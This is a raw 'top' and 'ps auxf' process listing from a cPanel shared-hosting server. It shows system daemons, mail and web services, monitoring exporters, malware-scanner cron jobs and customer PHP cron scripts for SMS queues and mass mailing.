 35629 root      20   0       0      0      0 S   0.0  0.0   0:00.01 [kworker/+
 36328 nobody    20   0  277492  18180   3968 S   0.0  0.8   0:00.15 /usr/sbin+
 40457 nobody    20   0  277832  19252   4724 S   0.0  0.8   0:00.65 /usr/sbin+
 40469 nobody    20   0  277760  19580   4544 S   0.0  0.8   0:00.68 /usr/sbin+
 40502 nobody    20   0  277892  18812   4288 S   0.0  0.8   0:00.26 /usr/sbin+
 40508 nobody    20   0  277760  19924   4648 S   0.0  0.8   0:00.82 /usr/sbin+
 40511 nobody    20   0  277760  19204   4520 S   0.0  0.8   0:00.67 /usr/sbin+
 41619 root      20   0       0      0      0 R   0.0  0.0   0:00.03 [kworker/+
 41649 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 42449 nobody    20   0  277760  18752   4252 S   0.0  0.8   0:00.32 /usr/sbin+
 42483 nobody    20   0  277760  19372   4492 S   0.0  0.8   0:00.48 /usr/sbin+
 43921 nobody    20   0  277892  18824   4340 S   0.0  0.8   0:00.32 /usr/sbin+
 43932 nobody    20   0  277760  19028   4300 S   0.0  0.8   0:00.72 /usr/sbin+
 44604 nobody    20   0  277900  18668   4148 S   0.0  0.8   0:00.18 /usr/sbin+
 44831 nobody    20   0  277760  18804   4188 S   0.0  0.8   0:00.21 /usr/sbin+
 45433 nobody    20   0  277760  18696   4184 S   0.0  0.8   0:00.48 /usr/sbin+
 45447 nobody    20   0  277760  18936   4128 S   0.0  0.8   0:00.16 /usr/sbin+
 45464 nobody    20   0  277892  18792   4008 S   0.0  0.8   0:00.10 /usr/sbin+
 45465 nobody    20   0  277764  18888   4020 S   0.0  0.8   0:00.12 /usr/sbin+
 45467 nobody    20   0  277760  19144   4252 S   0.0  0.8   0:00.26 /usr/sbin+
 46818 cloudw    20   0  367184  19144  12236 S   0.0  0.8   0:00.21 /opt/cpan+
 46890 nobody    20   0  277760  19024   4272 S   0.0  0.8   0:00.52 /usr/sbin+
 46903 nobody    20   0  277760  18852   4280 S   0.0  0.8   0:00.38 /usr/sbin+
 46930 nobody    20   0  277760  18852   4120 S   0.0  0.8   0:00.20 /usr/sbin+
 46931 nobody    20   0  277760  19340   4392 S   0.0  0.8   0:00.44 /usr/sbin+
 47315 cloudw    20   0  367184  19028  12184 S   0.0  0.8   0:00.21 /opt/cpan+
 47572 cloudw    20   0  367184  19032  12184 S   0.0  0.8   0:00.21 /opt/cpan+
 47825 nobody    20   0  277324  17092   3216 S   0.0  0.7   0:00.00 /usr/sbin+
 47840 cloudw    20   0  367184  19028  12184 S   0.0  0.8   0:00.21 /opt/cpan+
 47975 nobody    20   0  277760  18828   4304 S   0.0  0.8   0:00.37 /usr/sbin+
 47986 nobody    20   0  277480  17744   3548 S   0.0  0.7   0:00.05 /usr/sbin+
 48035 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 48055 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 48160 cloudw    20   0  367184  19032  12184 S   0.0  0.8   0:00.21 /opt/cpan+
 48419 cloudw    20   0  367184  19032  12184 S   0.0  0.8   0:00.20 /opt/cpan+
 48621 cloudw    20   0  367184  19032  12184 S   0.0  0.8   0:00.21 /opt/cpan+
 48782 nobody    20   0  277772  17892   3420 S   0.0  0.7   0:00.06 /usr/sbin+
 49032 cloudw    20   0  367184  19028  12184 S   0.0  0.8   0:00.21 /opt/cpan+
 49277 cloudw    20   0  367184  19028  12184 S   0.0  0.8   0:00.21 /opt/cpan+
 49499 cloudw    20   0  367184  19028  12184 S   0.0  0.8   0:00.21 /opt/cpan+
 49671 nobody    20   0  277760  18576   4108 S   0.0  0.8   0:00.13 /usr/sbin+
 49837 cloudw    20   0  367184  19028  12184 S   0.0  0.8   0:00.21 /opt/cpan+
 50126 nobody    20   0  277324  16948   3092 S   0.0  0.7   0:00.00 /usr/sbin+
 50136 cloudw    20   0  367184  19036  12188 S   0.0  0.8   0:00.20 /opt/cpan+
 50144 nobody    20   0  277764  18800   4004 S   0.0  0.8   0:00.23 /usr/sbin+
 50145 nobody    20   0  277760  17852   3444 S   0.0  0.7   0:00.16 /usr/sbin+
 50411 cloudw    20   0  367184  19028  12184 S   0.0  0.8   0:00.21 /opt/cpan+
 50762 cloudw    20   0  367184  19032  12184 S   0.0  0.8   0:00.21 /opt/cpan+
 51008 mailnull  20   0   89508   4928   1752 S   0.0  0.2   0:00.00 /usr/sbin+
 51029 cloudw    20   0  367184  19028  12184 S   0.0  0.8   0:00.21 /opt/cpan+
 51158 root      20   0  111304   4276   3252 S   0.0  0.2   0:00.00 sshd: [ac+
 51417 root      20   0   41052   2728   2088 S   0.0  0.1   0:00.00 dovecot/a+
 51418 root      20   0       0      0      0 Z   0.0  0.0   0:00.00 [cpsrvd (+
 51420 wp-tool+  20   0  445028    320    192 S   0.0  0.0   0:00.00 sw-engine+
 51445 root      20   0  111304   4272   3252 S   0.0  0.2   0:00.00 sshd: [ac+
 51446 root      20   0  111304   4272   3252 S   0.0  0.2   0:00.00 sshd: [ac+
 51453 sshd      20   0  115644   2632   1564 S   0.0  0.1   0:00.00 sshd: [ne+
 51454 sshd      20   0  115644   2628   1560 S   0.0  0.1   0:00.00 sshd: [ne+
 51475 nigeria   20   0  400460   5532   2328 S   0.0  0.2   0:00.00 php-fpm: +
 51493 root      20   0  183048   2152   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 51494 root      20   0  183048   2152   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 51495 root      20   0  183048   2152   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 51496 root      20   0  183048   2152   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 51498 root      20   0  183048   2152   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 51499 root      20   0  183048   2152   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 51500 root      20   0  183048   2152   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 51501 root      20   0  183048   2152   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 51502 root      20   0  183048   2152   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 51503 root      20   0  183048   2152   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 51504 root      20   0  183048   2148   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 51505 root      20   0  183048   2144   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 51506 root      20   0  183048   2144   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 51507 root      20   0  183048   2144   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 51508 root      20   0  183048   2144   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 51509 root      20   0  183048   2144   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 51511 root      20   0  183048   2144   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 51518 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
 51519 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
 51520 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 51521 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
 51524 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 51525 root      20   0   20164    988    788 S   0.0  0.0   0:00.00 jailshell+
 51526 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 51527 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 51528 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 51529 root      20   0   20164    968    768 S   0.0  0.0   0:00.00 jailshell+
 51530 root      20   0  113284   1468   1256 S   0.0  0.1   0:00.00 bash /usr+
 51532 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 51533 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 51534 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 51535 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 51537 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 51538 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 51540 root      20   0   20164    968    768 S   0.0  0.0   0:00.00 jailshell+
 51541 root      20   0  108052    356    284 S   0.0  0.0   0:00.00 /usr/bin/+
 51542 root      20   0  188252  11136   5152 S   0.0  0.5   0:00.01 /usr/loca+
 51546 root      20   0  113288   1516   1300 S   0.0  0.1   0:00.00 /bin/bash+
 51554 pactpay   20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 51557 pactpay   20   0  480124  17684  11892 S   0.0  0.7   0:00.02 /opt/cpan+
 51569 nigeria   20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 51601 mailnull  20   0   89508   4928   1752 S   0.0  0.2   0:00.00 /usr/sbin+
 51615 root      20   0  160220   2328   1588 R   0.0  0.1   0:00.00 top -bcn1
 51625 cloudsms  20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 51627 cloudsms  20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /usr/loca+
 51629 cloudsms  20   0  340476   9144   6472 R   0.0  0.4   0:00.00 /opt/cpan+
 51631 root      20   0  113284    216      0 R   0.0  0.0   0:00.00 bash /usr+
 56404 root      20   0  248036  39248   1228 S   0.0  1.6   0:08.08 /usr/loca+
 64340 root      20   0  266516  99660   2792 S   0.0  4.1   0:08.32 spamd chi+
 64341 root      20   0  248036  37528    412 S   0.0  1.6   0:00.02 spamd chi+
 69364 root      20   0       0      0      0 S   0.0  0.0   0:00.05 [kworker/+
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          2  0.0  0.0      0     0 ?        S    09:40   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [kworker/0:0H]
root          6  0.0  0.0      0     0 ?        S    09:40   0:02  \_ [ksoftirqd/0]
root          7  0.0  0.0      0     0 ?        S    09:40   0:02  \_ [migration/0]
root          8  0.0  0.0      0     0 ?        S    09:40   0:00  \_ [rcu_bh]
root          9  0.1  0.0      0     0 ?        S    09:40   1:07  \_ [rcu_sched]
root         10  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [lru-add-drain]
root         11  0.0  0.0      0     0 ?        S    09:40   0:00  \_ [watchdog/0]
root         12  0.0  0.0      0     0 ?        S    09:40   0:00  \_ [watchdog/1]
root         13  0.0  0.0      0     0 ?        S    09:40   0:02  \_ [migration/1]
root         14  0.0  0.0      0     0 ?        S    09:40   0:09  \_ [ksoftirqd/1]
root         16  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [kworker/1:0H]
root         18  0.0  0.0      0     0 ?        S    09:40   0:00  \_ [kdevtmpfs]
root         19  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [netns]
root         20  0.0  0.0      0     0 ?        S    09:40   0:00  \_ [khungtaskd]
root         21  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [writeback]
root         22  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [kintegrityd]
root         23  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [bioset]
root         24  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [bioset]
root         25  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [bioset]
root         26  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [kblockd]
root         27  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [md]
root         28  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [edac-poller]
root         29  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [watchdogd]
root         36  0.0  0.0      0     0 ?        S    09:40   0:32  \_ [kswapd0]
root         37  0.0  0.0      0     0 ?        SN   09:40   0:00  \_ [ksmd]
root         38  0.0  0.0      0     0 ?        SN   09:40   0:00  \_ [khugepaged]
root         39  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [crypto]
root         47  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [kthrotld]
root         49  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [kmpath_rdacd]
root         50  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [kaluad]
root         51  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [kpsmoused]
root         52  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [ipv6_addrconf]
root         65  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [deferwq]
root        105  0.0  0.0      0     0 ?        S    09:40   0:01  \_ [kauditd]
root        243  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [ata_sff]
root        247  0.0  0.0      0     0 ?        S    09:40   0:00  \_ [scsi_eh_0]
root        248  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [scsi_tmf_0]
root        249  0.0  0.0      0     0 ?        S    09:40   0:00  \_ [scsi_eh_1]
root        250  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [scsi_tmf_1]
root        255  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [ttm_swap]
root        261  0.0  0.0      0     0 ?        S<   09:40   0:03  \_ [kworker/0:1H]
root        266  0.0  0.0      0     0 ?        S<   09:40   0:04  \_ [kworker/1:1H]
root        276  0.0  0.0      0     0 ?        S    09:40   0:02  \_ [jbd2/vda3-8]
root        277  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [ext4-rsv-conver]
root        415  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [rpciod]
root        417  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [xprtiod]
root        632  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [kvm-irqfd-clean]
root        675  0.0  0.0      0     0 ?        S<   09:40   0:03  \_ [loop0]
root        735  0.0  0.0      0     0 ?        S    09:40   0:00  \_ [jbd2/loop0-8]
root        736  0.0  0.0      0     0 ?        S<   09:40   0:00  \_ [ext4-rsv-conver]
root      69364  0.0  0.0      0     0 ?        S    21:48   0:00  \_ [kworker/u200:0]
root      18801  0.0  0.0      0     0 ?        S    22:53   0:00  \_ [kworker/0:3]
root      23142  0.0  0.0      0     0 ?        S    22:58   0:00  \_ [kworker/0:0]
root      23959  0.0  0.0      0     0 ?        S    22:59   0:00  \_ [kworker/1:2]
root      23963  0.0  0.0      0     0 ?        S    22:59   0:00  \_ [kworker/1:4]
root      25268  0.0  0.0      0     0 ?        S    23:00   0:00  \_ [kworker/0:1]
root      32976  0.0  0.0      0     0 ?        S    23:09   0:00  \_ [kworker/u200:2]
root      35629  0.0  0.0      0     0 ?        S    23:12   0:00  \_ [kworker/1:3]
root      41619  0.0  0.0      0     0 ?        S    23:19   0:00  \_ [kworker/0:2]
root      41649  0.0  0.0      0     0 ?        S    23:19   0:00  \_ [kworker/1:1]
root      48035  0.0  0.0      0     0 ?        S    23:26   0:00  \_ [kworker/1:0]
root      48055  0.0  0.0      0     0 ?        S    23:26   0:00  \_ [kworker/0:4]
root          1  0.1  0.1  44268  3296 ?        Ss   09:40   1:11 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root        358  0.0  0.0  40244  1796 ?        Ss   09:40   0:28 /usr/lib/systemd/systemd-journald
root        387  0.0  0.0  45352   252 ?        Ss   09:40   0:00 /usr/lib/systemd/systemd-udevd
root        410  0.0  0.0  55532   512 ?        S<sl 09:40   0:04 /sbin/auditd
root        470  0.0  0.0  24712  1164 ?        Ss   09:40   0:11 /usr/lib/systemd/systemd-logind
root        471  0.0  0.0  52852   388 ?        Ss   09:40   0:00 /usr/sbin/smartd -n -q never
dbus        474  0.0  0.0  58644  1384 ?        Ss   09:40   0:27 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
rpc         476  0.0  0.0  69256   192 ?        Ss   09:40   0:00 /sbin/rpcbind -w
polkitd     486  0.0  0.0 612240   820 ?        Ssl  09:40   0:07 /usr/lib/polkit-1/polkitd --no-debug
root        487  0.0  0.0  21540   408 ?        Ss   09:40   0:01 /usr/sbin/irqbalance --foreground
root        492  0.0  0.0 152780   248 ?        Ss   09:40   0:00 /usr/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/local/cpanel/bin/pureauth
root        493  0.0  0.1 224280  4448 ?        Ss   09:40   0:00 queueprocd - waiting up to 60s to process a task
nscd        507  0.0  0.0 994492  1404 ?        Ssl  09:40   0:40 /usr/sbin/nscd
root        515  0.0  0.0 195208    68 ?        Ssl  09:40   0:00 /usr/sbin/gssproxy -D
root        516  0.0  0.0   4388   156 ?        Ss   09:40   0:00 /usr/sbin/acpid
root        543  0.0  0.0  24208    24 ?        Ss   09:40   0:00 /usr/sbin/atd -f
root        545  0.0  0.0 124480   520 ?        Ss   09:40   0:01 /usr/sbin/crond -n
root      51493  0.0  0.0 183048  2152 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      51518  0.0  0.0 113284  1212 ?        Ss   23:30   0:00  |   \_ /bin/sh -c /usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1
root      51530  0.0  0.0 113284  1468 ?        S    23:30   0:00  |       \_ bash /usr/local/maldetect/maldet --mkpubpaths
root      51631  0.0  0.0 113284   616 ?        S    23:30   0:00  |           \_ bash /usr/local/maldetect/maldet --mkpubpaths
root      51633  0.0  0.0 113284   220 ?        R    23:30   0:00  |               \_ bash /usr/local/maldetect/maldet --mkpubpaths
root      51494  0.0  0.0 183048  2152 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      51521  0.0  0.0 113284  1212 ?        Ss   23:30   0:00  |   \_ /bin/sh -c /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch &> /dev/null
root      51541  0.0  0.0 108052   356 ?        S    23:30   0:00  |       \_ /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch
root      51546  0.0  0.0 113288  1516 ?        S    23:30   0:00  |           \_ /bin/bash /usr/local/lp/bin/loadwatch
root      51632  0.0  0.0 153840  2088 ?        R    23:30   0:00  |               \_ ps auxf
root      51495  0.0  0.0 183048  2152 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      51520  0.0  0.0  20164   804 ?        Ss   23:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/sendsingle1.php > /dev/null 2>&1
root      51496  0.0  0.0 183048  2152 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      51538  0.0  0.0  20164   808 ?        Ss   23:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/send_multiple.php > /dev/null 2>&1
root      51498  0.0  0.0 183048  2152 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      51533  0.0  0.0  20164   808 ?        Ss   23:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_schedules.php > /dev/null 2>&1
root      51499  0.0  0.0 183048  2152 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      51524  0.0  0.0  20164   808 ?        Ss   23:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue2.php > /dev/null 2>&1
root      51500  0.0  0.0 183048  2152 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      51537  0.0  0.0  20164   804 ?        Ss   23:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/queue_status.php > /dev/null 2>&1
root      51501  0.0  0.0 183048  2152 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      51525  0.0  0.0  20164   988 ?        Ss   23:30   0:00  |   \_ jailshell (cloudsms) [51625] ll -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  51625  0.0  0.0  20164   260 ?        S    23:30   0:00  |       \_ jailshell (cloudsms) [init] ell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  51627  0.0  0.0 113284  1212 ?        S    23:30   0:00  |           \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  51629  0.0  0.6 404052 15612 ?        R    23:30   0:00  |               \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/cloudsms/public_html/massmailer/cron.php
root      51502  0.0  0.0 183048  2152 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      51535  0.0  0.0  20164   808 ?        Ss   23:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue.php > /dev/null 2>&1
root      51503  0.0  0.0 183048  2152 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      51526  0.0  0.0  20164   808 ?        Ss   23:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue6.php > /dev/null 2>&1
root      51504  0.0  0.0 183048  2148 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      51527  0.0  0.0  20164   804 ?        Ss   23:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue5.php > /dev/null 2>&1
root      51505  0.0  0.0 183048  2144 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      51534  0.0  0.0  20164   808 ?        Ss   23:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue4.php > /dev/null 2>&1
root      51506  0.0  0.0 183048  2144 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      51532  0.0  0.0  20164   804 ?        Ss   23:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue3.php > /dev/null 2>&1
root      51507  0.0  0.0 183048  2144 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      51528  0.0  0.0  20164   804 ?        Ss   23:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue1.php > /dev/null 2>&1
root      51508  0.0  0.0 183048  2144 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      51519  0.0  0.0 113284  1212 ?        Ss   23:30   0:00  |   \_ /bin/sh -c /usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1
root      51542  0.0  0.4 188252 11136 ?        S    23:30   0:00  |       \_ /usr/local/cpanel/bin/dcpumon
root      51576  0.0  0.0 160224  2392 ?        S    23:30   0:00  |           \_ top -n 2 -b -c
root      51509  0.0  0.0 183048  2144 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      51529  0.0  0.0  20164   968 ?        Ss   23:30   0:00  |   \_ jailshell (pactpay) [51554] ell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   51554  0.0  0.0  20164   260 ?        S    23:30   0:00  |       \_ jailshell (pactpay) [init] hell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   51557  0.0  0.7 480124 17684 ?        S    23:30   0:00  |           \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
root      51511  0.0  0.0 183048  2144 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      51540  0.0  0.0  20164   968 ?        Ss   23:30   0:00      \_ jailshell (nigeria) [51569] ell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   51569  0.0  0.0  20164   260 ?        S    23:30   0:00          \_ jailshell (nigeria) [init] hell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   51572  0.0  0.6 404052 16136 ?        S    23:30   0:00              \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/nigeria/public_html/crons/analyzer.php
root        562  0.0  0.0 108296   180 tty1     Ss+  09:40   0:00 /sbin/agetty --noclear tty1 linux
root        563  0.0  0.0 114704   180 ttyS0    Ss+  09:40   0:00 /bin/bash
mailnull    613  0.0  0.1  89116  3832 ?        Ss   09:40   0:01 /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
mailnull  51008  0.0  0.2  89508  4928 ?        S    23:29   0:00  \_ /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
mailnull  51601  0.0  0.2  89508  4928 ?        S    23:30   0:00  \_ /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
root        931  0.0  0.0 153404   400 ?        Ss   09:40   0:01 pure-ftpd (SERVER)
root        932  0.0  0.0 572372  1008 ?        Ssl  09:40   0:04 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
systuser    933  0.0  0.0 112268    56 ?        Ssl  09:40   0:00 /usr/local/lp/opt/exporters/node_exporter/node_exporter
systuser    935  0.0  0.6 114016 15112 ?        Ssl  09:40   0:11 /usr/local/lp/opt/exporters/blackbox_exporter/blackbox_exporter --config.file /usr/local/lp/etc/exporters/blackbox.yml
root        936  0.0  0.2 1277056 6144 ?        Ssl  09:40   0:21 /usr/bin/checkstatus
root        937  0.0  0.0 445028  1380 ?        Ss   09:40   0:01 sw-engine-fpm: master process (/etc/sw-engine/sw-engine-fpm.conf)
wp-tool+  51420  0.0  0.0 445028   320 ?        S    23:29   0:00  \_ sw-engine-fpm: pool wordpress-toolkit
systuser    938  0.0  0.0  11796    40 ?        Ssl  09:40   0:00 /usr/local/lp/opt/exporters/apache_exporter/apache_exporter
systuser    939  0.0  0.0 111608    60 ?        Ssl  09:40   0:00 /usr/local/lp/opt/exporters/php-fpm_exporter/php-fpm_exporter server
root        942  0.0  0.0 111304   544 ?        Ss   09:40   0:06 /usr/sbin/sshd -D
root      51158  0.0  0.1 111304  4276 ?        Ss   23:29   0:00  \_ sshd: [accepted]
root      51445  0.0  0.1 111304  4272 ?        Ss   23:29   0:00  \_ sshd: [accepted]
sshd      51453  0.0  0.1 115644  2632 ?        S    23:29   0:00  |   \_ sshd: [net]
root      51446  0.0  0.1 111304  4272 ?        Ss   23:29   0:00  \_ sshd: [accepted]
sshd      51454  0.0  0.1 115644  2628 ?        S    23:29   0:00      \_ sshd: [net]
systuser    943  0.0  0.0  11348    24 ?        Ssl  09:40   0:00 /usr/local/lp/opt/exporters/mysqld_exporter/mysqld_exporter --config.my-cnf=/usr/local/lp/etc/exporters/my.cnf
root        944  0.0  0.3 1350088 8612 ?        Ssl  09:40   0:28 /usr/bin/cspdaemon
root        945  0.0  0.0  51508   708 ?        Ss   09:40   0:00 /usr/sbin/dovecot -F -c /etc/dovecot/dovecot.conf
dovenull   1093  0.0  0.1  47520  2628 ?        S    09:40   0:01  \_ dovecot/pop3-login
dovenull   1094  0.0  0.1  48600  3100 ?        S    09:40   0:00  \_ dovecot/imap-login
dovecot    1095  0.0  0.0  10320   520 ?        S    09:40   0:00  \_ dovecot/anvil
root       1096  0.0  0.0  10452   456 ?        S    09:40   0:00  \_ dovecot/log
dovenull   1097  0.0  0.1  47444  2764 ?        S    09:40   0:00  \_ dovecot/pop3-login
dovenull   1098  0.0  0.1  48648  3256 ?        S    09:40   0:00  \_ dovecot/imap-login
root       1104  0.0  0.0  24528  2076 ?        S    09:40   0:00  \_ dovecot/config
dovecot    1110  0.0  0.0  13568   728 ?        S    09:40   0:00  \_ dovecot/stats
dovecot    1170  0.0  0.0  41324  1676 ?        S    09:40   0:01  \_ dovecot/auth
root      51417  0.0  0.1  41052  2728 ?        S    23:29   0:00  \_ dovecot/auth -w
telegraf    946  0.0  1.5 5654304 36428 ?       SLsl 09:40   0:26 /usr/local/lp/bin/telegraf -config /usr/local/lp/etc/telegraf.toml -config-directory /usr/local/lp/etc/telegraf.d
memcach+    947  0.0  0.0 342400   232 ?        Ssl  09:40   0:01 /usr/bin/memcached -u memcached -p 11211 -m 64 -c 1024
root        948  0.0  3.4 1763312 82704 ?       Ssl  09:40   0:15 /usr/local/cpanel/3rdparty/bin/clamd -F
root        949  0.0  0.0 389508   596 ?        Ss   09:40   0:01 php-fpm: master process (/opt/cpanel/ea-php70/root/etc/php-fpm.conf)
root        950  0.0  0.3 261164  9372 ?        Ss   09:40   0:08 cpsrvd (SSL) - waiting for connections                   
root      51418  0.0  0.0      0     0 ?        Z    23:29   0:00  \_ [cpsrvd (SSL) - ] <defunct>
root        953  0.0  0.0 388892   708 ?        Ss   09:40   0:01 php-fpm: master process (/opt/cpanel/ea-php73/root/etc/php-fpm.conf)
root        958  0.0  0.1 331088  3024 ?        Ssl  09:40   0:14 /usr/sbin/rsyslogd -n
root        986  0.0  0.0 396248   624 ?        Ss   09:40   0:01 php-fpm: master process (/opt/cpanel/ea-php81/root/etc/php-fpm.conf)
root        990  0.0  0.0 439788   792 ?        Ss   09:40   0:01 php-fpm: master process (/opt/cpanel/ea-php56/root/etc/php-fpm.conf)
root        994  0.0  0.1 400740  3060 ?        Ss   09:40   0:07 php-fpm: master process (/opt/cpanel/ea-php74/root/etc/php-fpm.conf)
